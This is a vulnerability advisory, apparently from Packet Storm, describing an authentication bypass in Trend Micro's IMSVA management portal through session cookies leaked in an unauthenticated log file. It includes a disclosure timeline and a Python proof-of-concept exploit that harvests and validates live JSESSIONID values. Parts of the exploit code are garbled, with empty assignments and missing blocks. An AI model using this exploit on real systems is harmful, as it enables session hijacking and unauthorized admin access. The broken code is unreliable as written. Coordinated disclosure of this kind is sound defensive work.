Trend Micro IMSVA Management Portal Authentication Bypass

Type packetstorm
Reporter Matthew Bergin
Modified 2018-02-09T00:00:00


                                            `KL-001-2018-006 : Trend Micro IMSVA Management Portal Authentication Bypass  
Title: Trend Micro IMSVA Management Portal Authentication Bypass  
Advisory ID: KL-001-2018-006  
Publication Date: 2018.02.08  
Publication URL:  
1. Vulnerability Details  
Affected Vendor: Trend Micro  
Affected Product: InterScan Mail Security Virtual Apppliance  
Affected Version:  
Platform: Embedded Linux  
CWE Classification: CWE-522: Insufficiently Protected Credentials, CWE-219: Sensitive Data Under Web Root  
Impact: Authentication Bypass  
Attack vector: HTTPS  
2. Vulnerability Description  
Any unauthenticated user can bypass the authentication process.  
3. Technical Description  
The web application is plugin-based and allows widgets to  
be loaded into the application. A plugin which is loaded by  
default stores a log file of events in a directory which can be  
accessed by unauthenticated users. Files within this directory  
(such as /widget/repository/log/diagnostic.log) which contain  
cookie values can then be read, parsed, and session information  
extracted. A functional exploit is shown below.  
4. Mitigation and Remediation Recommendation  
Trend Micro has released a Critical Patch update to the  
affected versions for this vulnerability. The advisory and  
links to the patch(es) are available from the following URL:  
5. Credit  
This vulnerability was discovered by Matt Bergin (@thatguylevel)  
of KoreLogic, Inc.  
6. Disclosure Timeline  
2017.08.11 - KoreLogic submits vulnerability details to Trend Micro.  
2017.08.11 - Trend Micro confirms receipt.  
2017.09.15 - KoreLogic asks for an update on the triage of the  
reported issue.  
2017.09.15 - Trend Micro informs KoreLogic that the issue is in  
remediation but there is no expected release date yet.  
2017.09.25 - 30 business days have elapsed since the vulnerability  
was reported to Trend Micro.  
2017.10.06 - Trend Micro informs KoreLogic that the issue will not  
be addressed before the 45 business-day deadline. They  
ask for additional time for the details to remain  
embargoed in order to complete QA on the proposed fix.  
2017.10.06 - KoreLogic agrees to extend the disclosure timeline.  
2017.10.17 - 45 business days have elapsed since the vulnerability  
was reported to Trend Micro.  
2017.11.02 - Trend Micro notifies KoreLogic that the Critical Patch  
for IMSVA 9.1 (Critical Patch 1682) has gone live,  
but they are still working on the patch for IMSVA 9.0.  
2017.11.07 - 60 business days have elapsed since the vulnerability  
was reported to Trend Micro.  
2017.12.21 - 90 business days have elapsed since the vulnerability  
was reported to Trend Micro.  
2017.12.28 - Trend Micro notifies KoreLogic that the IMSVA 9.0  
Critical Patch is being localized for foreign language  
customers. Expected release date is late January 2018.  
2018.01.18 - Trend Micro notifies KoreLogic that the expected release  
date for the IMSVA 9.0 Critical Patch and the advisory  
is to be January 31, 2018.  
2018.01.23 - 110 business days have elapsed since the vulnerability  
was reported to Trend Micro.  
2018.01.31 - Trend Micro releases the advisory associated with this  
vulnerability and the related Critical Patches.  
2018.02.08 - KoreLogic public disclosure.  
7. Proof of Concept  
from argparse import ArgumentParser  
from ssl import _create_unverified_context  
from time import mktime  
from urllib.request import HTTPSHandler, HTTPError, Request, urlopen, build_opener  
banner = '''Trendmicro IMSVA Management Portal Authentication Bypass  
class Exploit:  
def __init__(self, args):  
self.target_host =  
self.target_port = args.port  
self.list_all =  
self.sessions = []  
self.session_latest_time = None  
self.session_latest_id = None  
self.sessions_active = []  
return None  
def is_target(self):  
url_loginpage = Request('https://{}:{}/loginPage.imss'.format(self.target_host, self.target_port))  
url_loginjsp = Request('https://{}:{}/jsp/framework/login.jsp'.format(self.target_host, self.target_port))  
if urlopen(url_loginpage, context=_create_unverified_context()).getcode() == 200:  
urlopen(url_loginjsp, context=_create_unverified_context())  
except HTTPError as e:  
if e.code == 403:  
return True  
return False  
return False  
def get_sessions(self):  
url_vulnpage = Request('https://{}:{}/widget/repository/log/diagnostic.log'.format(self.target_host,  
vuln_obj = urlopen(url_vulnpage, context=_create_unverified_context())  
if vuln_obj.getcode() == 200:  
vuln_pagedata =  
for line in vuln_pagedata.decode('utf8').split('\n'):  
if 'product_auth' in line and 'JSEEEIONID' in line:  
self.sessions.append((line.split(',')[0], line.split(',')[-1].split(' ')[1].split(':')[1]))  
return False  
return True  
def find_latest(self):  
for session in list(set(self.sessions)):  
year, month, day = session[0].split(' ')[0].split('-')  
hour, minute, second = session[0].split(' ')[1].split(':')  
session_time = mktime((int(year), int(month), int(day), int(hour), int(minute), int(second), 0, 0, 0))  
if self.session_latest_time is None:  
self.session_latest_time = session_time  
if session_time > self.session_latest_time:  
self.session_latest_time = session_time  
self.session_latest_id = session[1]  
if self.list_all:  
if self.is_session_alive():  
self.sessions_active.append((self.session_latest_time, self.session_latest_id))  
return True  
def is_session_alive(self):  
url_consolepage = Request('https://{}:{}/console.imss'.format(self.target_host, self.target_port))  
opener = build_opener(HTTPSHandler(context=_create_unverified_context()))  
opener.addheaders.append(('Cookie', 'JSESSIONID={}'.format(self.session_latest_id)))  
console_obj =  
if console_obj.getcode() == 200:  
console_pagedata ='utf8')  
if 'parent.location.href="/timeout.imss"' in console_pagedata:  
return False  
return False  
return True  
def run(self):  
if self.is_target():  
if self.get_sessions():  
print('[-] Leaked {} sessions'.format(len(self.sessions)))  
if self.list_all and self.sessions_active:  
print('[+] Active sessions leaked.')  
sessions = []  
for entry in list(set(self.sessions_active)):  
for session in list(set(sessions)):  
print('Set-Cookie: JSESSIONID={}'.format(session))  
elif self.is_session_alive():  
print('[+] Active session leaked.')  
print('Set-Cookie: JSESSIONID={}'.format(self.session_latest_id))  
return True  
print('[-] {} sessions leaked but none are active.'.format(len(self.sessions)))  
return False  
return False  
return False  
return False  
if __name__ == '__main__':  
arg_parser = ArgumentParser(add_help=False)  
arg_parser.add_argument('-H', '--help', action='help', help='Help')  
arg_parser.add_argument('-h', '--host', default=None, required=True, help='Target host')  
arg_parser.add_argument('-p', '--port', default=8445, type=int, help='Target port')  
arg_parser.add_argument('-l', '--ls', action='store_true', default=False, help='List all sessions (noisy)')  
args = arg_parser.parse_args()  
The contents of this advisory are copyright(c) 2018  
KoreLogic, Inc. and are licensed under a Creative Commons  
Attribution Share-Alike 4.0 (United States) License:  
KoreLogic, Inc. is a founder-owned and operated company with a  
proven track record of providing security services to entities  
ranging from Fortune 500 to small and mid-sized companies. We  
are a highly skilled team of senior security consultants doing  
by-hand security assessments for the most important networks in  
the U.S. and around the world. We are also developers of various  
tools and resources aimed at helping the security community.  
Our public vulnerability disclosure policy is available at: